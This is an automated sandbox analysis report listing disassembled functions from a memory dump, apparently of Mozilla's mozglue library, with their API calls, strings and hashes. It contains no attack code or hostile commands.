Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 65558686dafbe9cc5c36513b1a87a4807918db902c2c969d079507030a9900c4
Instruction ID: 17d5f2cec0c5edce6fbc3945e0e8149e0dc2a2fb4a00bb3246ed1e66fae5cc97
Opcode Fuzzy Hash: 65558686dafbe9cc5c36513b1a87a4807918db902c2c969d079507030a9900c4
Instruction Fuzzy Hash: A0F1F371A18B008FC716DF39C89062BB7F5AFD6384F45872EF84AA7651DB31D8428B85

Function 6C5F9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5F9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C5F9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5F9F34
LeaveCriticalSection.KERNEL32(?), ref: 6C5FA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5FA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5FA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5FA8B1, 6C5FA8D4, 6C5FA8EF

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: ea4c90d9e752687343f05b2779745a953e1c4d2d19bfae41b9c233d50a2ed5ac
Instruction ID: f3e17908c496ad3808370fe0b65830060b1c6b4bda7ed4468f47d1f4d58f2bda
Opcode Fuzzy Hash: ea4c90d9e752687343f05b2779745a953e1c4d2d19bfae41b9c233d50a2ed5ac
Instruction Fuzzy Hash: 6E726C72A057118FD708CF29C940615FBE1BF89328F2AC66DE8699B791D375E842CF81

Function 6C622C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C622C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C622C61

Part of subcall function 6C5D4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5D4E5A
Part of subcall function 6C5D4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5D4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C622C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C622E2D

Part of subcall function 6C5E81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5E81DE

Strings

expected a Time entry, xrefs: 6C622E36
(root), xrefs: 6C62354F
ProfileBuffer parse error: %s, xrefs: 6C622E3B

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 3fc6e3b21afc5fb85b76c0c1477065f06cb198d8c8ec7c0ab94e3b91b4c5ddd8
Instruction ID: 7c0315decc3cfe55f92c1dff790d5e4f86b191e4295c62bb6e862579fcc93fd8
Opcode Fuzzy Hash: 3fc6e3b21afc5fb85b76c0c1477065f06cb198d8c8ec7c0ab94e3b91b4c5ddd8
Instruction Fuzzy Hash: 4591CF706087408FC724CF24C48069EB7E5AFCA368F508D2DE59A9B750DB34D949CF5A

Function 6C639E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C639F3D
__aulldiv.LIBCMT ref: 6C639F77
__aullrem.LIBCMT ref: 6C639F8C
__aulldiv.LIBCMT ref: 6C63A023

Strings

NaN, xrefs: 6C639EAB
-Infinity, xrefs: 6C639E60, 6C639E7B

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 2547baa74b8a9d7c537d0222108f279f98d0d1de98271610e428ed809b505059
Instruction ID: bf78aff0c190cd5e576f458b8ea03b61670c9ddb3bc15d65e8463fac0895bfc1
Opcode Fuzzy Hash: 2547baa74b8a9d7c537d0222108f279f98d0d1de98271610e428ed809b505059
Instruction Fuzzy Hash: D8C1B271E043288BDF14CF98C8407DEB7B6EF89308F546529D409ABB81DB70AC45CB99

Function 6C5DD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6C5DDC7F
-, xrefs: 6C5DD7DD
9, xrefs: 6C5DDE7F
@, xrefs: 6C5DDAF6
0, xrefs: 6C5DD852
, xrefs: 6C5DDA88
8, xrefs: 6C5DDC08
1, xrefs: 6C5DDBDD

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 1f4ee1e053619c69e7e5d3de91a50fefdaa2f8fabd50e127471d6a79557af6b9
Instruction ID: 683ad62dc0fb9157887a6b4d3c0f9c90a4f09d33138f5c9a463ef234272fe6d1
Opcode Fuzzy Hash: 1f4ee1e053619c69e7e5d3de91a50fefdaa2f8fabd50e127471d6a79557af6b9
Instruction Fuzzy Hash: C362BE7150C3458FD711CF2CC89076ABBF2AF86358F1A8A4DE4D54BA51C335A885CFAA

Function 6C64545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C648A4B

Strings

~q]l, xrefs: 6C645740, 6C64921F, 6C6456C7, 6C649269, 6C649459, 6C645703, 6C64948F

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: memset
String ID: ~q]l
API String ID: 2221118986-3028681918
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: cee5edf43f4068935e0553135b682d0f28df9ff1d323248eb2cf0813c2387819
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 80B10972E0121ACFDB14CF68CC907E9B7B6EF85314F1882A9C549EB791D7309989CB94

Function 6C64542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6488F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C64925C

Strings

~q]l, xrefs: 6C645740, 6C64921F, 6C6456C7, 6C649269, 6C649459, 6C645703, 6C64948F

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: memset
String ID: ~q]l
API String ID: 2221118986-3028681918
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 146dcedab37ed06f50cdefe45d16bd9a32bef373e5c947ab3528bcb5b1f9a4c6
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: ECB1D572E0420A8FDB14CF68C8816EDB7B6AF85314F148269C949EB795D730A989CB94

Function 6C5DBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5DC1CB
__aulldiv.LIBCMT ref: 6C5DC24C
__aulldiv.LIBCMT ref: 6C5DC348
__aullrem.LIBCMT ref: 6C5DC365
__aulldiv.LIBCMT ref: 6C5DC37D

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 6f5acbd1c479d881d300c37d14742692e964ccd1c93c16926627f6bdf8861578
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 12321532B147119FC718DE2CC890A5ABBE6AFC9310F0A866DE895CB395D734ED05CB91

Function 6C616CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C616D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C616E1E

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 4e17bb4726eac38f8f6cdff6bf3e09698db4e91d57506c444e15894a893f492d
Instruction ID: a567c54825c9d0dd4802e5889b2207c3e97fdcc5694001012915b9adaaaaa60a
Opcode Fuzzy Hash: 4e17bb4726eac38f8f6cdff6bf3e09698db4e91d57506c444e15894a893f492d
Instruction Fuzzy Hash: 58A17F746183818FC715CF29C4907AEBBE2FF89308F54491DE48A87B51DB70E849CB9A

Function 6C5F4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C5F4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5F5585, 6C5F55A8, 6C5F55C3, 6C5F5624

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: a5a50101316972e9e182af14c6607f88afb24aee17291698ae0f2ebdc8f0bc6d
Instruction ID: a2d2aa7742d5b731d71ae67a5874b760f92b925f03d4e20c4982d9523ba86ab2
Opcode Fuzzy Hash: a5a50101316972e9e182af14c6607f88afb24aee17291698ae0f2ebdc8f0bc6d
Instruction Fuzzy Hash: F2B25C71A056018FD709CF29CA90615BBE2BFC5324B29C76DE47A8B7A5D771E842CF80

Function 6C6385F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C638C7C
__aulldiv.LIBCMT ref: 6C638DD7

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: ebf74af3fb99a8c5bf9fb8866be4cc2633d914b14831cfd284b0dc9c04efdbc4
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 8A326F31F001298BDF18CE9DC8A17EEB7B2EB89304F15A12BD40AFB7A0D6345D458B95

Function 6C6476E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~q]l, xrefs: 6C647796, 6C6479C0, 6C64793C, 6C647E0B, 6C647B0B, 6C6479FB

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID:
String ID: ~q]l
API String ID: 0-3028681918
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 2d0d3dd943d09ed4a1d46dbe8c527f5a2d9fb02aa9cd616dd452ed3bbb2e7526
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: B032F771E006198FCB14CF98C890AADFBB2FF89308F64C569C949A7745D731A986CF94

Function 6C646E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~q]l, xrefs: 6C6479C0, 6C64793C, 6C647E0B, 6C647B0B, 6C647C72, 6C6479FB, 6C647C03

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID:
String ID: ~q]l
API String ID: 0-3028681918
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 4913812fa37c5a956e07bc23339cc396eff2b2b772d2db93f5219421394c71e7
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: D122D771E006198FCB14CF98C880AADF7F2FF89308F6585A9C949A7745D731A986CF94

Function 6C615C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C5E4A63,?,?), ref: 6C615F06

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: af576c2cf9e9417f77c2ca8f6032fcaac8f8c068b92d7645047f1a794fe0d5c4
Instruction ID: 741a313e849ee4dc7c16685333abf84a58ab04491cfe60fb1b9412eec6b075f5
Opcode Fuzzy Hash: af576c2cf9e9417f77c2ca8f6032fcaac8f8c068b92d7645047f1a794fe0d5c4
Instruction Fuzzy Hash: 23C19D75E052498FCB04CF99C1906EEFBF2BF8A319F288159D8556BB44D732A806CF94

Function 6C600512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 19de1656de91102e459d0925be66ab7856cbe58f7b598c0cf805078c4df466ef
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 4C221671E046198FCB18CF98C990AADF7B2FF89308F548299C54AB7745D731A986CF84

Function 6C64AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4131b3a1c0706f4b443e9dd052da4bda3e88b09b48611a714eb6196e45db41be
Instruction ID: 3d870cb035298b8a5d441383b670dc1126e9188ebc4a8e7302ebbf7b33658fce
Opcode Fuzzy Hash: 4131b3a1c0706f4b443e9dd052da4bda3e88b09b48611a714eb6196e45db41be
Instruction Fuzzy Hash: 8AF14772608745AFD700CE28C8807AEB7E2AFC6319F14CA3DE4D4877C2E37498858796

Function 6C5DC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 21f6ace8cee4ae7ffb7713cda4769ab346ce877174a7e28a6080b5139fef2ac9
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: EBA19F71F0061A8FDB08CE6DC8917AEB7F2AFC9354F198169D915E7781DB34AC068B90

Function 6C6355F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C60E1A5), ref: 6C635606
LoadLibraryW.KERNEL32(gdi32,?,6C60E1A5), ref: 6C63560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C635633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C63563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C63566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C63567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C635696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6356B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6356CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6356E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6356FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C635716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C63572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C635748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C635761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C63577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C635793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6357A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6357BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6357D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6357EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6357FF

Strings

GetMonitorInfoW, xrefs: 6C6357A2
GetWindowDC, xrefs: 6C635710
CreateWindowExW, xrefs: 6C6356C5
AreDpiAwarenessContextsEqual, xrefs: 6C635637
GetSystemMetricsForDpi, xrefs: 6C635677
MonitorFromWindow, xrefs: 6C63578D
ReleaseDC, xrefs: 6C635742
gdi32, xrefs: 6C63560A
GetDpiForWindow, xrefs: 6C635690
StretchDIBits, xrefs: 6C6357CC
user32, xrefs: 6C635601
FillRect, xrefs: 6C635729
EnableNonClientDpiScaling, xrefs: 6C635666
RegisterClassW, xrefs: 6C6356AC
ShowWindow, xrefs: 6C6356DE
GetThreadDpiAwarenessContext, xrefs: 6C63562D
DeleteObject, xrefs: 6C6357F9
LoadCursorW, xrefs: 6C635774
LoadIconW, xrefs: 6C63575B
CreateSolidBrush, xrefs: 6C6357E4
SetWindowLongPtrW, xrefs: 6C6357B7
SetWindowPos, xrefs: 6C6356F7

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
